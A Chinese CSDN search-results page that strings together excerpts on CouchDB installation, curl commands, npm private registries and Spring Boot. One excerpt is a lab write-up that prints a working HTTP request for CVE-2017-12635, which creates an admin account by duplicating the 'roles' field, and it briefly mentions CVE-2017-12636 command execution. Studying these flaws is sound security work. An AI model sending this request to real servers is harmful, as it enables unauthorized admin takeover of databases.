精华内容
下载资源
问答
  • couchdb

    2021-03-25 15:59:39
    Apache CouchDB是一个完全包含Web的数据库。 使用JSON文档存储数据。 通过HTTP使用Web浏览器访问文档。 使用JavaScript查询,合并和转换文档。 Apache CouchDB可与现代Web和移动应用程序完美配合。 CouchDB的杀手级...
  • CouchDB

    2012-02-29 09:46:02
    CouchDB
  • CouchDb

    千次阅读 2018-12-11 17:45:48
    Couchdb数据库 一、介绍 1、简介 官网上的说明:CouchDb是一个存储Json文档的数据库。CouchDB是一个完全包含Web的数据库。使用JSON文档存储数据。使用Web浏览器通过HTTP访问您的文档。使用JavaScript 查询,...

    Couchdb数据库

    一、介绍

    1、简介

    官网介绍
    官网上的说明:CouchDb是一个存储Json文档的数据库。CouchDB是一个完全包含Web的数据库。使用JSON文档存储数据。使用Web浏览器通过HTTP访问您的文档。使用JavaScript 查询,组合和 转换文档。CouchDB适用于现代网络和移动应用程序。您可以使用CouchDB的增量复制高效地分发数据。(概括说couchedb是一个面向文档的数据库)

    2、优点

    (1)、易用性:只要搭建好服务,访问http://localhost:5984/_utils/
    (2)、并发性:(哈哈)这个没有测试

    3、技术概括

    couchDB的底层是一个B-tree的存储结构,为提高效率,所有的数据的插入或更新都是直接在树的叶子节点添加,不删除旧节点,通过版本号来确定最新的数据--版本号还能用来解决并发写的冲突。所以数据文件会越来越大,可以在适当地时间运行compact过程或replication过程,会删除旧文件,使得数据文件得到压缩。(想起之前使用过Caché数据库:基于二叉树的存储结构,虽然不太懂,但是知道这种基于树型结构的数据库有个明显的特点查询比较快)

    couchdb数据库有个明显的特征:自己生成_id ,_rev

    二、安装

    本文以Linux下安装来说明
    (1)、查看系统版本
    在这里插入图片描述
    (2)、安装rpm仓库
    在这里插入图片描述
    (3)、安装CouchDB
    在这里插入图片描述
    注意:如果安装不成功,分开安装(以&&为界分步安装)
    (4)、启动数据库
    系统的默认安装路径是:
    在这里插入图片描述在这里插入图片描述
    (5)、启动数据库
    启动成功,访问 localhost:5984 或者nodeIp:5984
    页面工具
    访问:[数据库操作界面]
    http://IP地址:5984/_utils/)
    在这里插入图片描述

    我们来看下数据是怎么存储的

    在这里插入图片描述

    三、springboot集成couchdb

    由于Couchdb网上资料较少,主要从官网api来了解使用
    官网api:https://helun.github.io/Ektorp/reference_documentation.html#d100e952

    【后面继续!!!】
    ps:下班了
    在这里插入图片描述

    展开全文
  • Couchdb

    2018-11-18 21:00:32
    Couchdb Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用...

    Couchdb

    Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
    使用json api进行查询

    默认端口5984

    Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

    CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
    影响版本:小于 1.7.0 以及 小于 2.1.1

    向restful api发送如下数据包

    PUT /_users/org.couchdb.user:vulhub HTTP/1.1
    Host: your-ip:5984
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 90
    
    {
      "type": "user",
      "name": "vulhub",
      "roles": ["_admin"],
      "password": "vulhub"
    }
    

    直接访问url,用burp抓包
    在这里插入图片描述
    可以看到只有admin可以添加用户
    发送包含两个roles的数据包,即可绕过限制

    在这里插入图片描述
    添加成功,用户名/密码:vulhub/vulhub登录成功
    在这里插入图片描述

    Couchdb 任意命令执行漏洞(CVE-2017-12636)

    CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。
    影响版本:小于 1.7.0 以及 小于 2.1.1

    这个漏洞和上面的12635可以组成一个漏洞利用链,这个漏洞的利用前提需要登录用户,利用之前需要用之前的漏洞添加一个账号。

    Couchdb 2.x和和1.x的API接口有一定区别,所以这个漏洞的利用方式也不同。

    1.x

    在这里插入图片描述
    给query_servers添加配置的时候出现这种情况,不知道怎么解决…

    2.x

    2.x相比于1.x加入了集群的概念,所以修改配置的API需要增加node name。
    reference:
    https://www.anquanke.com/post/id/87256

    展开全文
  • couchDB

    2016-07-05 17:49:58
     到安装目录/bin下cmd运行couchdb.bat 3.开始使用 (GET/PUT/DELETE/POST)  默认每个document都会生成一个_id,_rev(rev用于控制版本,每改动一次rev都会变化)  bind_address = 127.0.0.1 改为本机ip地址,...

    1.install 具体的就不说了

    2.start server 

       到安装目录/bin下cmd运行couchdb.bat

    3.开始使用 (GET/PUT/DELETE/POST)

      默认每个document都会生成一个_id,_rev(rev用于控制版本,每改动一次rev都会变化)

      bind_address = 127.0.0.1 改为本机ip地址,这样其他机器也能访问这个数据库

       两个问题,

       1、使其他机器也访问这个数据库

         (etc下local.ini里的bind_address需要设置0,0,0,0)

           (etc下default.ini里的bind_address是127.0.0.1)

     

       2、POST的例子

       curl http://127.0.0.1:5984 会返回一串json数据

       curl -X GET http://127.0.0.1:5984/_all_dbs  返回所有的数据库

       curl -X PUT http://127.0.0.1:5984/baseball 新建一个数据库,会返回ok。如果重名,会失败

       curl -X DELETE http://127.0.0.1:5984/baseball 删除一个数据库

     

       curl -X PUT http://127.0.0.1:5984/databasename/document_id -d {"key":"value"} 向databasename下的         document_id的文档添加字段

    4.可视化界面 

       浏览器访问 http://127.0.0.1:5984/_utils/

     

    5.根据github上的步骤来配置npm私有仓库

    6.npm config edit 再文件里配置仓库(ip地址要写couchDB机器的地址)

      原来的registry是这样的:registry=http://registry.cnpmjs.org/

       registry = http://192.168.191.1:5984/registry/_design/app/_rewrite

    7.创建一个标准的包

       在本机下2_1.create_pack这个目录下创建了一个包。一定要有package.json文件

    8.在该包下执行命令

        npm adduser (创建用户)

           adduser之后,可以用npm edit config来修改注册的用户名

        npm publish 

           publish后想unpublish可以用npm unpublish或npm owner rm来撤销发布的包

           publich的两次包package.json里的version字段必须不同,不然会发布失败

    展开全文
  • couchdb-docker:Apache CouchDB Docker
  • guile-couchdb:指导方案的Couchdb
  • CouchDB Introduction

    2016-09-08 17:10:45
    CouchDB introductions.
  • CouchDB文档 该存储库包含Apache CouchDB文档的Sphinx源代码。 您可以在以下位置查看此内容的最新渲染版本: http://docs.couchdb.org/en/latest 建立这个仓库 安装Python3和pip。 然后: $ python3 -m venv ....
  • Kitura-CouchDB:用于Kitura的CouchDB适配器
  • Kivik CouchDB 用于CouchDB驱动程序。 用法 该软件包提供了接口的实现。 您必须导入驱动程序,然后才能使用完整的 API。 请查阅以获取完整的文档和编码示例。 package main import ( "context" kivik "github....
  • fastify-couchdb 固定CouchDB连接插件,使用它可以在服务器的每个部分共享相同的CouchDB连接。 在后台使用了流行的模块,将您传递给register的选项传递给了nano实例。 安装 npm i fastify-couchdb --save 用法 只...
  • Fauxton是CouchDB的新Web UI。 要使其在您的计算机上的开发中运行。 请按照以下步骤操作。 通过npm作为独立服务器安装 您可以通过npm使用最新版本的Fauxton: npm install -g fauxton fauxton 有关更多选项,请参见...
  • couchdb-orm:一个简单的CouchDB ORM

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 18,567
精华内容 7,426
关键字:

couchdb